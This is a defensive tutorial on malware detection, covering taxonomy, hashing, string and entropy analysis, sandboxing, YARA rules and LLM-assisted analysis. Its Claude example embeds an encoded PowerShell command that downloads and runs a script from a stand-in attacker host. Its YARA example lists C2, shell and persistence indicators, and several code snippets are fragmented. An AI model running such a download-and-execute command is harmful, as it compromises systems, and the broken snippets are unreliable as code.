

Malware Detection & Classification

WARNING — Handle Malware Samples Safely: Never download, execute, or analyze suspected malware on your everyday workstation. Always use an *isolated analysis environment* — a dedicated virtual machine with snapshots, no network access to production systems, and no shared folders with your host OS. Tools like FlareVM (Windows) or REMnux (Linux) provide purpose-built analysis VMs. Treat every sample as live and dangerous until proven otherwise. Accidental execution of malware on a connected machine can compromise your entire network.

Why Malware Analysis Matters for Defenders

Malware is the primary weapon in almost every cyberattack. Ransomware shuts down hospitals. Banking trojans drain accounts. Cryptominers silently consume infrastructure budgets. As a blue team defender, your ability to detect, classify, and respond to malware directly determines how quickly you can contain an incident and how thoroughly you can eradicate the threat.

Understanding malware is not just for reverse engineers. When your SIEM fires an alert on a suspicious binary, you need to answer critical questions fast: Is this a known threat? What does it do? Has it already spread? What indicators of compromise (IOCs) should you hunt for across the rest of your environment? Malware analysis gives you those answers. Even a basic static analysis — checking a hash against threat intelligence, extracting strings, examining file headers — can turn a vague alert into an actionable incident within minutes.

Malware Taxonomy

Malware is classified by its behavior, propagation method, and purpose. Understanding these categories helps you anticipate what a sample will do and how to contain it:

Type	Propagation	Primary Purpose	Key Characteristic
Virus	Attaches to host files	Payload delivery, destruction	Requires user action to spread; infects executables
Worm	Self-replicating over networks	Spreading, resource exhaustion	No user interaction needed; exploits vulnerabilities
Trojan	Disguised as legitimate software	Backdoor access, data theft	Social engineering delivery; does not self-replicate
Ransomware	Phishing, exploits, RDP	Extortion via encryption	Encrypts files; demands payment for decryption key
Rootkit	Bundled with other malware	Persistence, stealth	Hides at kernel or firmware level; extremely difficult to detect
RAT (Remote Access Trojan)	Phishing, drive-by downloads	Full remote control	Provides attacker with GUI/CLI access to victim machine
Cryptominer	Exploits, malicious scripts	Cryptocurrency mining	High CPU/GPU usage; often designed for long-term stealth

Real-world malware frequently combines multiple categories. A phishing email might deliver a trojan that drops a rootkit for persistence and a cryptominer for monetization. Classification is a starting point, not a rigid boundary.

Analysis Approaches

Malware analysis techniques fall along a spectrum from completely passive to fully interactive:

- **Static Analysis** — Examining the malware without executing it. You inspect file metadata, extract strings, analyze headers, compute hashes, and write detection signatures. Fast and safe, but can be defeated by obfuscation and packing.
- **Dynamic Analysis** — Running the malware in a controlled environment and observing its behavior: file system changes, registry modifications, network connections, process creation. Reveals runtime behavior that static analysis misses.
- **Behavioral Analysis** — A subset of dynamic analysis focused on categorizing what the malware *does* rather than how it does it. Does it exfiltrate data? Does it encrypt files? Does it establish persistence? Behavioral profiles map to threat categories.
- **Hybrid Analysis** — Combining static and dynamic techniques for comprehensive coverage. Most professional analysis workflows are hybrid: start with static triage, then detonate in a sandbox for behavioral confirmation.

Static Analysis Techniques

File Hashing

The first step in any analysis is computing the file's cryptographic hash and checking it against threat intelligence databases. If the hash is already known, you instantly get classification, IOCs, and community analysis:

```
import hashlib

def compute_hashes(filepath: str) -> dict:
    """Compute MD5, SHA-1, and SHA-256 hashes of a file."""
    md5 = hashlib.md5()
    sha1 = hashlib.sha1()
    sha256 = hashlib.sha256()

    with open(filepath, "rb") as f:
        while chunk := f.read(8192):
            md5.update(chunk)
            sha1.update(chunk)
            sha256.update(chunk)

    return {
        "md5": md5.hexdigest(),
        "sha1": sha1.hexdigest(),
        "sha256": sha256.hexdigest(),
    }
```

```
}
```

```
hashes = compute_hashes("suspicious_sample.exe")
for algo, digest in hashes.items():
    print(f"{algo.upper()}: {digest}")
```

Submit the SHA-256 hash to VirusTotal, MalwareBazaar, or your organization's threat intelligence platform. A known hash saves hours of manual analysis.

Strings Extraction

Extracting human-readable strings from a binary often reveals URLs, IP addresses, file paths, registry keys, error messages, and command-and-control (C2) domains:

```
# Extract ASCII strings (minimum 8 characters)
strings -n 8 suspicious_sample.exe

# Extract both ASCII and Unicode strings
strings -a -el suspicious_sample.exe

# Filter for URLs and IPs
strings suspicious_sample.exe | grep -E "(https?://|[0-9]+\.[0-9]+\.[0-9]+\.[0-9])"

# FLOSS extracts obfuscated strings that plain 'strings' misses
floss suspicious_sample.exe
```

PE/ELF Header Analysis

Executable file headers contain metadata about compilation time, imported libraries, sections, and entry points. Anomalies in headers — such as unusually high entropy in a section, suspicious imports (e.g., `VirtualAlloc`, `CreateRemoteThread`, `WriteProcessMemory`), or mismatched timestamps — are strong indicators of malicious intent.

File Entropy Calculation

Entropy measures the randomness of data in a file. Normal executables have moderate entropy (5.0–6.5). Packed or encrypted malware typically shows high entropy (7.0+) because compression and encryption produce near-random byte distributions:

```
import math
from collections import Counter
```

```
def calculate_entropy(filepath: str) -> float:
    """Calculate Shannon entropy of a file (0.0 to 8.0)."""
    with open(filepath, "rb") as f:
        data = f.read()

    if not data:
        return 0.0

    counts = Counter(data)
    length = len(data)
    entropy = 0.0

    for count in counts.values():
        probability = count / length
        if probability > 0:
            entropy -= probability * math.log2(probability)

    return entropy

ent = calculate_entropy("suspicious_sample.exe")
print(f"Entropy: {ent:.4f}")
if ent > 7.0:
```

Dynamic Analysis

When static analysis hits a wall — packed binaries, obfuscated code, encrypted payloads — dynamic analysis takes over. You execute the sample in a controlled sandbox and observe everything it does:

- **Sandboxing:** Tools like Cuckoo Sandbox automatically detonate samples and produce detailed reports covering file system activity, registry changes, network traffic, and process trees. Cloud-based alternatives include ANY.RUN, Joe Sandbox, and Hybrid Analysis.
- **API Monitoring:** Intercepting Windows API calls reveals the malware's true intentions. Calls to `CreateRemoteThread` suggest process injection. `CryptEncrypt` calls indicate ransomware behavior. Tools like API Monitor and Process Monitor capture this activity.
- **Network Behavior:** Capturing network traffic with Wireshark or tcpdump reveals C2 communication, data exfiltration, and lateral movement attempts. DNS queries to

newly registered domains or connections to known-bad IPs are strong IOCs.

YARA Rule Writing

YARA is the pattern-matching Swiss Army knife of malware detection. It lets you write rules that describe malware families based on strings, byte patterns, file properties, and logical conditions. YARA rules are used by antivirus engines, threat intelligence platforms, and incident response teams worldwide.

Basic Syntax

```
rule Detect_SuspiciousRAT {
  meta:
    author = "Blue Team Analyst"
    description = "Detects a suspicious RAT based on known strings and behavior"
    severity = "high"
    date = "2026-04-09"

  strings:
    $c2_domain = "evil-c2-server.example.com" ascii wide
    $mutex_name = "Global\\MyMalwareMutex" ascii
    $cmd_shell = "cmd.exe /c" ascii nocase
    $reg_persist = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii

    // Hex pattern for a known shellcode stub
    $shellcode = { 6A 40 68 00 10 00 00 6A 00 68 58 A4 53 E5 FF D5 }

  condition:
    uint16(0) == 0x5A4D and // MZ header (PE file)
    filesize < 5MB and
    ($c2_domain or $mutex_name) and
    any of ($cmd_shell, $reg_persist, $shellcode)
}
```

Key elements of a YARA rule:

- **meta:** — Descriptive metadata (author, description, severity). Not used in matching.
- **strings:** — Text strings, hex patterns, and regular expressions to search for. Modifiers like `ascii`, `wide`, and `nocase` control how strings are matched.

- **condition:** — Boolean logic that determines when the rule fires. Can reference string matches, file size, header bytes, entry point, and imported functions.

Running YARA

```
# Scan a single file
yara my_rules.yar suspicious_sample.exe

# Scan a directory recursively
yara -r my_rules.yar /path/to/samples/

# Scan with multiple rule files
yara -r rules/*.yar /path/to/samples/

# Show matching strings (useful for debugging rules)
yara -s my_rules.yar suspicious_sample.exe
```

AI-Assisted Malware Analysis

LLMs like Claude are powerful allies in malware analysis. They cannot replace a skilled reverse engineer, but they dramatically accelerate several parts of the workflow:

YARA Rule Generation

Describe a malware family's characteristics in plain English and let Claude generate a YARA rule. You provide the behavioral profile, IOCs from threat intelligence, and any known strings or byte patterns. Claude produces a well-structured rule that you then validate against your sample corpus.

Suspicious Code Analysis

Paste decompiled or deobfuscated code into Claude and ask it to explain what the code does. This is particularly valuable for PowerShell droppers, VBA macros, and obfuscated JavaScript — formats where the intent is deliberately hidden behind layers of encoding:

```
import anthropic

client = anthropic.Anthropic()

suspicious_code = ""
```

```

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA
ZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIA
aQBuAGcAKAAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGUAeABhAG0A
cABsAGUALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA
"""

message = client.messages.create(
    model="claude-sonnet-4-20250514",
    max_tokens=1024,
    messages=[
        {
            "role": "user",
            "content": (
                "You are a malware analyst. Decode and analyze this suspicious\n\n"
                "command. Explain what it does step by step, identify any IOCs\n\n"
                "(URLs, IPs, domains), and assess the threat level.\n\n"
                f"{suspicious_code}"
            )
        }
    ],
)

```

Sample Classification

Feed Claude a collection of IOCs — hashes, domains, file paths, registry keys, mutex names — and ask it to classify the malware family. Combined with VirusTotal data, this can rapidly narrow down the threat actor and their typical TTPs (Tactics, Techniques, and Procedures).

Key Insight: Always validate AI-generated YARA rules against both known-malicious and known-benign samples before deploying to production. A rule that matches too broadly will flood your SOC with false positives. A rule that matches too narrowly will miss variants.

Essential Tools

Tool	Purpose	Type
VirusTotal	Multi-engine scanning, hash lookup, community intelligence	Online platform
YARA	Pattern-based malware detection and classification	CLI tool / library
ClamAV	Open-source antivirus engine; good for bulk scanning	CLI / daemon
Cuckoo Sandbox	Automated dynamic analysis with detailed behavioral reports	Self-hosted sandbox
PE-bear	PE file header viewer and editor; visual section analysis	GUI tool
FLOSS	Extracts obfuscated strings from binaries	CLI tool
Process Monitor	Real-time file system, registry, and process activity monitoring	GUI tool (Windows)

Key Takeaways

Effective malware detection combines automated tooling with analyst expertise. Static analysis provides speed and safety; dynamic analysis reveals intent. YARA rules bridge the gap between one-off analysis and scalable detection.

- Always analyze malware in isolated environments — never on production systems.
- Start with static triage: hash the file, check threat intelligence, extract strings, calculate entropy.
- Use dynamic analysis (sandboxing, API monitoring, network capture) when static methods are insufficient.
- YARA rules are the lingua franca of malware detection — learn to write, test, and share them.

- AI tools like Claude accelerate rule writing, code analysis, and sample classification, but always validate their output.
- Malware rarely fits neatly into one category — real threats combine multiple techniques and evolve rapidly.

Self-check: Can you explain the difference between static and dynamic analysis and when to use each? Can you write a basic YARA rule from scratch with strings and conditions? Can you compute a file's SHA-256 hash in Python and explain why high entropy suggests packing?

Download Files

These files contain synthetic malware analysis data for the detection challenges. All files are plain text (.txt) and safe to open.

↓ [file-hashes.txt](#) ~5 KB

↓ [strings-output.txt](#) ~6 KB

↓ [yara-challenge.txt](#) ~9 KB

↓ [sandbox-report.txt](#) ~12 KB